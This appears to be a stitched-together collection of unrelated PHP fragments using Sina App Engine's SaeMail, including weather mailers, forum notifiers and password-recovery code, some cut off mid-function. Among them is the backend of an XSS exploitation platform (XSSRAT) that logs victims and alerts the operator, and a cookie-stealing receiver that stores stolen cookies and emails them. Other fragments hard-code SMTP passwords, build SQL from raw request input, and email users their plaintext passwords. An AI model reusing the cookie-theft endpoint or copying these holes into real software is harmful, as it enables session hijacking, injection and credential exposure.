$mbody[8] = '紫外线:' . $json['weatherinfo']['index_uv']; $mbody[9] = '洗车指数:' . $json['weatherinfo']['index_xc']; $mbody[10] = '旅游指数:' . $json['weatherinfo']['index_tr']; $mbody[11] = '舒适度指数:' . $json['weatherinfo']['index_co']; $mbody[12] = '晨练指数:' . $json['weatherinfo']['index_cl']; $mbody[13] = '晾晒指数:' . $json['weatherinfo']['index_ls']; $mbody[14] = '鼻斯敏过敏气象指数:' . $json['weatherinfo']['index_ag']; $mbody[15] = '穿衣指数:' . $json['weatherinfo']['index']; $mbody[16] = '穿衣建议:' . $json['weatherinfo']['index_d']; $mbody[17] = '微博:' . '淡淡清香弥漫世界'; //版权,公用时请勿修改! $mopt['from'] = '*'; //非139已开通SMTP邮箱 $mopt['to'] = '*@139.com'; //139邮箱 $mopt['smtp_host'] = 'smtp.gmail.com'; //SMTP $mopt['smtp_port'] = 587; //端口 Gmail:587 其他:25 $mopt['smtp_username'] = '******'; //邮箱帐号 $mopt['smtp_password'] = '******'; //密码 $mopt['subject'] = $json['weatherinfo']['city'] . '天气预报'; $mopt['content'] = $mbody[1] . '<br />' . $mbody[2] . '<br />' . $mbody[3] . '<br />' . $mbody[4] . '<br />' . $mbody[5] . '<br />' . $mbody[6] . '<br />' . $mbody[7] . '<br />' . $mbody[8] . '<br />' . $mbody[9] . '<br />' . $mbody[10] . '<br />' . $mbody[11] . '<br />' . $mbody[12] . '<br />' . $mbody[13] . '<br />' . $mbody[14] . '<br />' . $mbody[15] . '<br />' . $mbody[16] . '<br />' . $mbody[17]; $mopt['content_type'] = 'HTML'; $mopt['tls'] = true; $mail = new SaeMail(); $mail->setOpt($mopt); $ret = $mail->send($mopt); echo $ret;
function send_mail($email, $subject, $content) { if (c('on_sae')) { $m = new SaeMail(); $m->quickSend($email, $subject, $content, c('smtp_account'), c('smtp_password'), c('smtp_server'), c('smtp_port')); return $m->errmsg(); } else { return @mail($email, $subject, $content); } }
public function reply() { $user = $_SESSION['tennis-user']; if ($user != null) { if ($user['is_forbidden'] == 1) { $this->error('很抱歉,言多必失,您已被封印! 解封日期请查看用户中心,如有必要请联系管理员!'); } } else { $this->error('很遗憾,您还未登录哟?!'); } $User = M("User"); $userList = $User->where('id=' . $_POST['user_id'])->getField('id, username, mailbox'); $data['invitation_id'] = $_POST['id']; $data['type'] = $_POST['type']; $data['user_id'] = $_SESSION['tennis-user']['id']; $data['comment'] = "回复" . $userList[$_POST['user_id']]['username'] . ":" . $_POST['comment']; $invitation_comment = M('invitation_comment'); $result = $invitation_comment->add($data); if ($result) { // 更新日志 //================= $data['module'] = '约球'; $data['operation'] = '回复球友:id=' . $_POST['id'] . "user_id:" . $_POST['user_id']; $data['update_user'] = $_SESSION['tennis-user']['id']; $data['ip'] = $this->getIP(); $log = M('operation_log'); $log->add($data); //================= $this->updateScoreAndExp(6); // 发送邮件 // ========================================================== $link = "http://tenniser.sinaapp.com/index.php/Invitation/invite_detail?type=" . $_POST['type'] . "&id=" . $_POST['id'] . "#" . $result; $mail = new SaeMail(); //$mail->setAttach( array("my_photo.jpg" => "照片的二进制数据" )); $ret = $mail->quickSend($userList[$_POST['user_id']]['mailbox'], "网动青春约球回复", "尊敬的用户:\n 您好!球友 " . $_SESSION['tennis-user']['username'] . " 在您的约球贴中回复了您哟~\n 内容如下:" . $data['comment'] . "\n 访问此链接查看详情:" . $link . "\n \n \n \t\t\t爱网球,爱青春,你我同行。——网动青春", "*****@*****.**", "jjaazz901222"); $mail->clean(); // ========================================================== $this->success('回复成功!'); } else { $this->success('回复失败!'); } }
<? $kv = new SaeKV(); $ekv = new SaeKV(); $kv->init(); $ekv->init(); $d=date('Y-m-d H:i:s'); $mail = new SaeMail(); $smtp_user='******'; $smtp_pass='******'; $ret = $kv->pkrget('web_', 3); foreach($ret as $arr => $url){ $url='http://'.$url; $tags = @get_meta_tags( $url ); if($tags['saecheckweb'] == 'www.lijingquan.net'){ $ret=$ekv->get('fail_'.$url); if ($ret == '1'){ echo $ret; }else{ $mto=$kv->get('mail_'.$url); $mail->quickSend($mto,'网站恢复正常!','你的网站'.$url.'已经进入正常状态,并处于监控模式!更多功能,正在开发!欢迎访问我的博客:www.lijingquan.net',$smtp_user,$smtp_pass); $mail->clean(); $ekv->set('fail_'.$url, '1'); } }else{ $ret=$ekv->get('fail_'.$url); if ($ret == '0'){ echo $ret; }else{ $mto=$kv->get('mail_'.$url); $mail->quickSend($mto,'网站发现异常!','你的网站'.$url.'已经进入正常状态,并处于监控模式!更多功能,正在开发!欢迎访问我的博客:www.lijingquan.net',$smtp_user,$smtp_pass); $mail->clean();
public function mail() { //现在暂不支持gmail邮箱和附件上传,建议使用新浪邮箱测试。注意需要开启你邮箱的smtp功能。 $mail = new SaeMail(); $ret = $mail->quickSend('*****@*****.**', '邮件标题', '邮件内容', '*****@*****.**', '123456'); if ($ret === false) { var_dump($mail->errno(), $mail->errmsg()); } else { echo "邮件发送成功,请更改源码,将邮箱改为自己的测试"; } }
function noticemail_html($to, $subject, $mail_content_title, $mail_content_mainstr, $mail_content_buttomstr, $proj = '') { $mail_config['from'] = '*****@*****.**'; $mail_config['smtp_host'] = 'smtp.163.com'; $mail_config['smtp_username'] = '******'; $mail_config['smtp_password'] = '******'; $mail_config['to'] = $to; $mail_config['subject'] = $subject; $mail_config['content_type'] = 'HTML'; $mail_config['content'] = '<html><body><table><tr><td style="background-color:#DFDFDF;width:486px;"><span style="color:#404040;font-weight:bold;font-size:20px;font-family:微软雅黑;黑体;sans-serif;"> ' . $mail_content_title . '</span></td>'; $mail_config['content'] .= '<td><a href="http://rainbowbridge.sinaapp.com/ts/"><img width=240 height=38 style="width:240px; height:38px" src="http://rainbowbridge.sinaapp.com/ts/misc/resources/firstshin.jpg"></img></a></td></tr>'; $mail_config['content'] .= '<tr><td colspan=2 style="font-size:12px;padding:10px;">' . $mail_content_mainstr . '</td></tr>'; $mail_config['content'] .= '<tr><td colspan=2 style="font-size:12px;background-color:#DFDFDF;text-align:center;color:#606060;height:48px;">' . $mail_content_buttomstr . '如有任何问题请<a href="mailto:xp@firstshin.com">及时联系</a>。</td></tr></table></body></html>'; $mail = new SaeMail(); $mail->setOpt($mail_config); $mail->send(); }
public function getBackPasswordSubmit() { $mailbox = $_POST['mailbox']; $condition['mailbox'] = $mailbox; $User = M('User'); $result = $User->where($condition)->getField("mailbox, password"); if ($result) { $mail = new SaeMail(); //$mail->setAttach( array("my_photo.jpg" => "照片的二进制数据" )); $ret = $mail->quickSend($mailbox, "网动青春密码找回", "尊敬的用户:\n 您好!这是您网动青春官方网站的账户密码(" . $result[$mailbox] . "),请妥善保管,如有必要可在用户中心进行修改。感谢您的支持与关注!\n \n \t\t\t爱网球,爱青春,你我同行。——网动青春", "*****@*****.**", "jjaazz901222"); $mail->clean(); if ($ret === false) { var_dump($mail->errno(), $mail->errmsg()); } else { $this->success('发送成功,请注意查收!', '/'); } } else { $this->error('该邮箱未注册!'); } }
$res = $project->getProjectByTicket($ticket); if ($res) { $pmd->ticket = $ticket; $pmd->p_id = $project->id; $pmd->clientIP = htmlspecialchars(quotes($ip)); $pmd->time = $curtime; $pmd->status = 1; $pmd->ec = $ec; $pmd->userAgent = htmlspecialchars(quotes($useragent)); $pmd->Referer = htmlspecialchars(quotes($referer)); $pmd->Data = utf8_decode(urldecode($data)); $pmd_id = $pmd->addPMD(); } } $email = $project->getMailByTiket($ticket); if ($email) { //sea maill $saemail = new SaeMail(); $message = "亲爱的用户,你有新用户上线了。\r\n\t\t\t\t\t\t\t\r\n\tIP:" . $pmd->clientIP . "\r\n\tReferer:" . $pmd->Referer . "\r\n\tuserAgent:" . $pmd->userAgent . "\r\n\t\r\n\t本邮件来自于: http://xssrat.sinaapp.com\r\n\tMak3 hack m0r3 c00l!"; $ret = $saemail->quickSend($email, 'XSSRAT - 新用户上线', $message, MAIL_ACCOUNT, MAIL_PASS); if ($ret === false) { $log->error($mail->errmsg()); } } } $db->closeDB(); } $net_config = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:0};\n"; $log->info("Time:" . $curtime . " IP:" . $ip . " UA:" . $useragent . " RE:" . $referer . " DATA:" . $data); die($net_config); }
/** * SAE邮件发送函数 * @param string $to 接收邮件者邮箱 * @param string $name 接收邮件者名称 * @param string $subject 邮件主题 * @param string $body 邮件内容 * @param string $attachment 附件列表 * @茉莉清茶 57143976@qq.com */ function sae_mail($to = '', $subject = '', $body = '', $name = '') { $site_name = modC('WEB_SITE_NAME', L('_OPENSNS_OPEN_SOURCE_SOCIAL_SYSTEM_'), 'Config'); if ($to == '') { $to = C('MAIL_SMTP_CE'); //邮件地址为空时,默认使用后台默认邮件测试地址 } if ($name == '') { $name = $site_name; //发送者名称为空时,默认使用网站名称 } if ($subject == '') { $subject = $site_name; //邮件主题为空时,默认使用网站标题 } if ($body == '') { $body = $site_name; //邮件内容为空时,默认使用网站描述 } $mail = new SaeMail(); $mail->setOpt(array('from' => C('MAIL_SMTP_USER'), 'to' => $to, 'smtp_host' => C('MAIL_SMTP_HOST'), 'smtp_username' => C('MAIL_SMTP_USER'), 'smtp_password' => C('MAIL_SMTP_PASS'), 'subject' => $subject, 'content' => $body, 'content_type' => 'HTML')); $ret = $mail->send(); return $ret ? true : $mail->errmsg(); //返回错误信息 }
<?php $conn = mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT, SAE_MYSQL_USER, SAE_MYSQL_PASS); $location = $_GET['location']; $cookie = $_GET['cookie']; $sql = "INSERT INTO cookies (location,cookie) VALUES ('" . $location . "', '" . $cookie . "')"; mysql_select_db(SAE_MYSQL_DB, $conn); mysql_query($sql, $conn); mysql_close($conn); $title = '亲,您的cookie 到了~'; $content = '您的cookie 到了~ 猛戳此处查看:http://xss.chuhades.com'; $mail = new SaeMail(); $ret = $mail->quickSend('收信邮箱', $title, $content, '发信邮箱', '发信邮箱密码'); //发送失败时输出错误码和错误信息 if ($ret === false) { var_dump($mail->errno(), $mail->errmsg()); }
} if ($method == 'findpwd') { //Captcha Validate require_once PHP_BASE_DIR . "/securimage/securimage.php"; $img = new Securimage(); if ($img->check($captcha) == false) { $res['message'] = '验证码错误!'; $res['action'] = 'resend'; } else { $db = new MySQL($log); if ($mysqli = $db->openDB()) { $user = new User($mysqli, $log); $invitation = new Invitation($mysqli, $log); if ($user->getUserByName($username)) { $email_code = $invitation->genPwdEmailValidateCode($user->id); $saemail = new SaeMail(); if ($saemail) { //sea maill $message = $username . " \r\n\t\t\t您好,欢迎您使用XSSRAT。XSSRAT是一个开放性的Web前端漏洞利用平台,您可以使用该平台进行一些Web前端漏洞的测试,并可以贡献自己的模块供其他用户使用。\r\n\t\t\t本平台是一个开放性的平台,可用于渗透测试或漏洞挖掘过程中,以提高Web应用的安全性,本身不具有任何恶意性。请勿将该平台用于非法用途,否则后果自负!\r\n\t\t\t您的用户名为:" . $username . "\r\n\t\t\t请及时访问以下链接重置您的密码:\t\t\t\t\t\r\n\t\t\thttp://xssrat.sinaapp.com/findpwd.php?code=" . $email_code . "&id=" . $user->id . "&method=resetpwd\r\n\t\t\t(该链接只能在同一浏览器,cookie有效期内生效)\t\r\n\t\t\r\n\t\t\thttp://xssrat.sinaapp.com\r\n\t\t\tMak3 hack m0r3 c00l!"; $ret = $saemail->quickSend($user->email, 'XSSRAT 密码重置', $message, MAIL_ACCOUNT, MAIL_PASS); if ($ret) { $res['result'] = true; $res['message'] = '邮件已发出,请您及时查收,若您一直未收到,请稍后重新发送!'; $res['action'] = 'resend'; $reset_pwd = array('id' => $user->id, 'email_code' => $email_code, 'b_confirm' => false); $_SESSION['reset_pwd'] = $reset_pwd; } if ($ret === false) { $log->error($mail->errmsg()); $res['message'] = '邮件发送失败,请稍后重试!'; $res['action'] = 'resend';
function saemail($address, $subject, $message) { global $_config; $mail = new SaeMail(); $mail->setOpt(array('from' => 'Mail-System <' . $_config['mail']['saemail']['address'] . '>', 'to' => $address, 'smtp_host' => $_config['mail']['saemail']['smtp_server'], 'smtp_username' => $_config['mail']['saemail']['smtp_name'], 'smtp_password' => $_config['mail']['saemail']['smtp_pass'], 'subject' => $subject, 'content' => $message, 'content_type' => 'HTML')); $mail->send(); return true; }
public function attachmail() { $a = 0; if (!empty($_FILES)) { // // var_dump($_FILES); import("@.ORG.UploadFile"); $config = array('allowExts' => array('jpg', 'gif', 'png'), 'savePath' => './Public/upload/', 'saveRule' => 'time'); $upload = new UploadFile($config); $upload->imageClassPath = "@.ORG.Image"; $upload->thumb = true; $upload->thumbMaxHeight = 100; $upload->thumbMaxWidth = 100; if (!$upload->upload()) { $this->error($upload->getErrorMsg()); } else { $info = $upload->getUploadFileInfo(); $this->assign('filename', $info[0]['savename']); //模版引用变量{$filename} //$GLOBALS['image'] = $info[0]['savename']; //抓 取 图 像 $f = new SaeFetchurl(); // var_dump($info[0]['savename']); // var_dump($info); // var_dump($a); $img_data = $f->fetch("http://thinkfortest-public.stor.sinaapp.com/upload/" . $info[0]['savename']); $img = new SaeImage(); $img->setData($img_data); $new_data = $img->exec(); //var_dump($new_data); $a = 1; } } if (isset($_POST['sub1'])) { $subject = $_POST['subject']; $content = $_POST['content']; //现在暂不支持gmail邮箱和附件上传,建议使用新浪邮箱测试。注意需要开启你邮箱的smtp功能。 /* $f = new SaeFetchurl(); var_dump($GLOBALS['image']); var_dump($a); $img_data = $f->fetch( "http://thinkfortest-public.stor.sinaapp.com/upload/".$GLOBALS['image']); //$img = file_get_contents('http://www.baidu.com/img/bdlogo.png'); //var_dump($img_data); $img = new SaeImage(); $img->setData( $img_data ); $new_data = $img->exec();*/ //var_dump($new_data); $mail = new SaeMail(); if ($a = 1) { $mail->setAttach(array($info[0]['name'] => $new_data)); } $ret = $mail->quickSend('*****@*****.**', $subject, $content, '*****@*****.**', 'wsxhq850687192'); if ($ret === false) { var_dump($mail->errno(), $mail->errmsg()); } else { echo "邮件发送成功!"; } } $this->display(); }